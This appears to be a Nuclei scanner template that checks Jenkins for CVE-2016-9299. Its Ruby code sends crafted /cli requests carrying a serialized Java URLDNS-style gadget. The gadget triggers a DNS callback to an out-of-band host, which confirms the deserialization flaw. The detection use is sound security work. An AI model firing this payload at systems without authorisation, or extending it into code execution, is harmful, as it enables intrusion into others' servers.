漏洞描述
The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.
id: CVE-2016-9299
info:
name: Jenkins CLI - HTTP Java Deserialization
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
- https://nvd.nist.gov/vuln/detail/CVE-2016-9299
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-9299
cwe-id: CWE-90
epss-score: 0.68152
epss-percentile: 0.98556
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
metadata:
max-request: 1
verified: true
vendor: jenkins
product: jenkins
shodan-query: product:"jenkins"
fofa-query: icon_hash=81586312
tags: cve,cve2016,rce,deserialization
variables:
oast: "{{interactsh-url}}"
code:
- engine:
- rb
- ruby # requires ruby to be pre-installed on system running nuclei
source: |
require 'socket'
require 'base64'
# Define environment variables for host details (make sure they are properly set in your environment)
$Hostname = ENV['Hostname']
$Host = ENV['Host']
$Port = ENV['Port']
interactsh = (ENV['oast']).ljust(45,'/')
url_dns = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002d657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6574000071007e0005740004687474707078740034687474703a2f2f657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6578"
$decoded_url_dns = [url_dns].pack("H*")
$decoded_url_dns = $decoded_url_dns.gsub! "ewawjwcswxvkjfswcqli1fssv25rq0d8d.oast.online", interactsh
# Step 1: Send the download request without waiting for a response or closing the socket
def send_download_request(host, port)
download_socket = TCPSocket.new(host, port)
download_request = <<~REQ
POST /cli HTTP/1.1
Host: #{$Hostname}
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
Side: download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0\r\n
REQ
#puts "Sending Download Request..."
download_socket.write(download_request)
# Return the open socket so we can read from it later
return download_socket
end
# Step 2: Send the upload request
def send_upload_request(host, port)
socket = TCPSocket.new(host, port)
# Base64 decoded payload for upload request
chunked_payload = "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\x01\x55" + $decoded_url_dns
upload_request = <<~REQ
POST /cli HTTP/1.1
Host: #{$Hostname}
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
Side: upload
Content-Type: application/octet-stream
Content-Length: #{chunked_payload.bytesize}\r\n
REQ
#puts "Sending Upload Request..."
socket.write(upload_request)
# Send the binary data (payload)
socket.write(chunked_payload)
# Read and print the response for the upload request
response = socket.readpartial(1024)
#puts "Received from server (upload response): #{response}"
# Close the socket for upload request
socket.close
end
# Step 3: After upload request, read the download request's response
def read_download_response(socket)
#puts "Reading Download Request Response..."
response = socket.readpartial(1024)
socket.close
response
end
# Combined steps to perform the operations in the required order
# Step 1: Send download request (don't wait for response, keep the socket open)
download_socket = send_download_request($Host, $Port)
# Step 2: Send upload request
send_upload_request($Host, $Port)
# Print the download response
puts read_download_response(download_socket)
matchers:
- type: dsl
dsl:
- "contains(response,'hudson.remoting.UserRequest')"
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a0047304502205d0d0e07d26fbff634b62e560ba77b7a9f36cce17b978b014c73eef70f743e00022100d840d2f3ba49d76681a880ace3e3ba6b7fc81f1b8e282ee43ae79e9a4ad00a77:922c64590222798bb761d5b6d8e72950